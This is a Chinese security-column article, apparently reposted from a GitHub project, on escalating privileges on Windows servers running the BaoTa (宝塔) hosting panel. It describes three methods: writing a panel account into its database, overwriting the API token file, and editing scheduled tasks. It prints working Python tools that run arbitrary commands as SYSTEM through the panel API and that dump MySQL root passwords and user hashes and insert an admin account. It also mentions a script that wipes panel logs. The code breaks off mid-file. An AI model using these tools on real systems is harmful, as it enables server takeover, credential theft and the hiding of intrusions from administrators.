专栏名称: HACK学习呀
HACK学习,专注于互联网安全与黑客精神;渗透测试,社会工程学,Python黑客编程,资源分享,Web渗透培训,电脑技巧,渗透技巧等,为广大网络安全爱好者一个交流分享学习的平台!
目录
相关文章推荐
HACK学习呀  ·  交易实战 | ... ·  3 天前  
51好读  ›  专栏  ›  HACK学习呀

干货 | 宝塔面板Windows提权方法

HACK学习呀  · 公众号  · 黑客  · 2021-01-26 11:55

正文

本项目整理一些宝塔特性,可以在无漏洞的情况下利用这些特性来增加提权的机会。

项目地址: https://github.com/Hzllaga/BT_Panel_Privilege_Escalation

记得点个Star!


Table of Contents

  • 宝塔面板Windows提权方法

    • 写数据库提权

    • API提权

    • 计划任务提权

  • 自动化测试

写数据库提权

宝塔面板在2008安装的时候默认www用户是可以对宝塔面板的数据库有完全控制权限的:

powershell -Command "get-acl C:\BtSoft\panel\data\default.db | format-list"

对于这种情况可以直接往数据库写一个面板的账号直接获取到面板权限,而在2016安装默认是User权限可读不可写

这种情况可以从里面读取一些敏感信息,比如mysql的root密码,而一般这个配置的不会只有这个文件可读,可以使用其他方法。

盐: [A-Za-z0-9]{12}

密码: md5(md5(md5(password) + '_bt.cn') + salt)

可以直接使用 bt_panel_script.py ,脚本会自动新建一个账号。

API提权

宝塔面板支持API操作的,token在 C:\BtSoft\panel\config\api.json ,用这个方法提权还可以无视入口校验,比如有一个 未授权访问的redis是system权限 ,就可以直接往这个文件覆盖token直接接管面板,或是利用FileZilla(windows面板默认ftp软件就是FileZilla + 空密码)新建一个C盘权限的账号,也可以去修改那个文件来提权。

API Token: md5(string)

api.json

{"open": true, "token": "API Token", "limit_addr": ["你的IP"]}

请求时加上( multipart/form-data ):

request_token = md5(timestamp + token)request_time = timestamp
以直接使用bt_panel_api.py,脚本会自动使用计划任务运行命令,如果面板原本就有配置好API了,并且IP限制127.0.0.1,那么就可以直接端口转发出来直接用脚本提权。

计划任务提权

基本上场景同API提权,可以去修改计划任务文件(比如网站备份),默认是在凌晨1:30执行,权限也是system。

路径: C:/BtSoft/cron/

有些面板API会无法登陆,就只能利用计划任务来提权了,缺点是路径不固定,且执行时间也不固定。

自动化测试

python3 .\bt_panel_script.py

使用此脚本可以全自动获取宝塔相关信息,python可以直接用宝塔的,不用担心没环境。

python3 .\bt_panel_api.py -g

这个脚本可以生成api示例,把生成的json替换到指定文件后就能提权。

python3 .\bt_panel_api.py -u "http://192.168.101.5:8888/" -t "085bd64a698cf601ae472425656b2346" -c whoami

python3 .\bt_panel_log_delete.py

这个脚本可以自动清理面板日志


脚本源码,也可以在github地址下载


bt_panel_api.py

import requestsimport argparseimport hashlibimport jsonimport timeimport cowsay

def md5(string): return hashlib.md5(string.encode()).hexdigest()

def get_random_string(length): from random import Random strings = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' char_len = len(chars) - 1 random = Random() for i in range(length): strings += chars[random.randint(0, char_len)] return strings

def get_ip(): return requests.get(url='https://ifconfig.me/ip').text

def generate_example_config(): token = md5(get_random_string(10)) payload = { 'open': True, 'token': token, 'limit_addr': [get_ip()] } print(json.dumps(payload)) print('请保存在目标C:\\BtSoft\\panel\\config\\api.json') print(f"Usage: python bt_panel_api.py -u [URL] -t {token} -c whoami")

def exploit(url, token, cmd): # api sk timestamp = int(time.time()) token = md5(str(timestamp) + token) api_sk = { 'request_token': (None, f'{token}'), 'request_time': (None, f'{timestamp}'), } crontab_name = get_random_string(10) # Add a crontab payload = { 'sType': (None, 'toShell'), 'name': (None, f'{crontab_name}'), 'type': (None, 'day'), 'hour': (None, '1'), 'minute': (None, '30'), 'sBody': (None, f'{cmd}'), 'sName': (None, ''), 'save': (None, ''), 'backupTo': (None, 'localhost'), } payload.update(api_sk) requests.post(url=f'{url}/crontab?action=AddCrontab', files=payload)
# Get crontab list payload = { 'page': (None, '1'), 'search': (None, ''), } payload.update(api_sk) crontab = json.loads(requests.post(url=f'{url}/crontab?action=GetCrontab', files=payload).text)
# Start crontab payload = { # 新添加的会在第一条 'id': (None, f"{crontab[0]['id']}"), } payload.update(api_sk) requests.post(url=f'{url}/crontab?action=StartTask', files=payload)
# Waiting for execution time.sleep(3)
# Read the crontab log log = json.loads(requests.post(url=f'{url}/crontab?action=GetLogs', files=payload).text) print(log['msg'])
# Delete crontab requests.post(url=f'{url}/crontab?action=DelCrontab', files=payload)

if __name__ == '__main__': cowsay.cow('BaoTa Panel Privilege escalation tool\nAuthor: https://github.com/Hzllaga') parser = argparse.ArgumentParser() parser.add_argument("-g", "--generate", action="store_true", help='生成一个api示例.') parser.add_argument("-u", "--url", help='宝塔地址.') parser.add_argument("-t", "--token", help='API token.') parser.add_argument("-c", "--command", help='要执行的命令.') args = parser.parse_args() if args.generate: generate_example_config() else: if (args.url is not None) & (args.token is not None) & (args.command is not None): exploit(url=args.url, token=args.token, cmd=args.command) else: print('缺少参数')

bt_panel_script.py

# -*- coding:utf-8 -*-import sqlite3

class BT: def __init__(self): self.conn = sqlite3.connect('C:/BtSoft/panel/data/default.db') self.c = self.conn.cursor()
@staticmethod def read_file(path): with open(path, 'r') as file: return file.read()
@staticmethod def get_random_string(length): from random import Random strings = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' char_len = len(chars) - 1 random = Random() for i in range(length): strings += chars[random.randint(0, char_len)] return strings
@staticmethod def md5(string): import hashlib return hashlib.md5(string.encode()).hexdigest()
def hash_password(self, password, salt): return self.md5(self.md5(self.md5(password) + '_bt.cn') + salt)
def get_panel_path(self): return self.read_file('C:/BtSoft/panel/data/admin_path.pl')
def get_default_username(self): cursor = self.c.execute('select username from users where id=1') return cursor.fetchone()[0]
def get_default_password(self): return self.read_file('C:/BtSoft/panel/data/default.pl')
def get_all_user(self): cursor = self.c.execute('select username, password, salt from users') return cursor.fetchall()
def get_api_information(self): import json api_data = json.loads(self.read_file('C:/BtSoft/panel/config/api.json')) if api_data['open']: token = api_data['token'] limit_ip = api_data['limit_addr'] return f'Token: {token}, 限制IP: {limit_ip}' else: return '未开启api'
def get_mysql_root_password(self): cursor = self.c.execute('select mysql_root from config') return cursor.fetchone()[0]
def insert_panel_user(self, username, password, salt): password = self.hash_password(password, salt) try: sql = f"INSERT INTO users (username,password,salt,email) VALUES ('{username}', '{password}', '{salt}', '[email protected]')" self.c.execute(sql) self.conn.commit() return '写入成功!' except sqlite3.OperationalError: return '写入失败。'
def get_database_users(self): cursor = self.c.execute('select name, username, password, type from databases') return cursor.fetchall()
def get_ftp_users






请到「今天看啥」查看全文